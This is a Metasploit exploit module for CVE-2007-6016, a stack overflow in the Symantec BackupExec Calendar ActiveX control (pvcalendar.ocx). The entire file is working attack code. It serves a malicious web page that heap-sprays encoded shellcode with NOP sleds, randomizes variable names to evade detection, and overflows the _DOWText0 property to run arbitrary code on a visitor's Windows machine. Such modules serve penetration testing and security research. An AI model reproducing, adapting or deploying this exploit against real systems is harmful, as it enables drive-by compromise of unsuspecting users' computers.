This Metasploit module exploits a stack overflow in Symantec BackupExec Calendar Control. By sending an overly long string to the "_DOWText0" property located in the pvcalendar.ocx control, an attacker may be able to execute arbitrary code.
35830d0832948d41cb04a73d18bd6db9f598b503253e0032efcd4dafeaae3fbe
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec BackupExec Calendar Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Symantec BackupExec Calendar Control.
By sending an overly long string to the "_DOWText0" property located
in the pvcalendar.ocx control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-6016' ],
[ 'OSVDB', '42358'],
[ 'BID', '26904' ],
[ 'URL', 'http://secunia.com/advisories/27885/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 256, 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Feb 28 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape(make_nops(4))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x30000
fillto = 400
offset = target['Offset']
junk = rand_text_alpha(4)
# Randomize the javascript variable names
pvcalendar = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_junk = rand_text_alpha(rand(100) + 1)
j_filename = rand_text_alpha(rand(16) + 1)
# Build out the message
content = %Q|
<html>
<object classid='clsid:22ACD16F-99EB-11D2-9BB3-00400561D975' id='#{pvcalendar}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{j_nops} = unescape('#{nops}');
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
#{j_junk} = '#{junk}';
while (#{j_junk}.length < #{offset}) #{j_junk} += #{j_junk};
try {
#{pvcalendar}._DOWText0 = #{j_junk} + #{j_ret};
#{pvcalendar}.Save('#{j_filename}',0);
} catch(err) {}
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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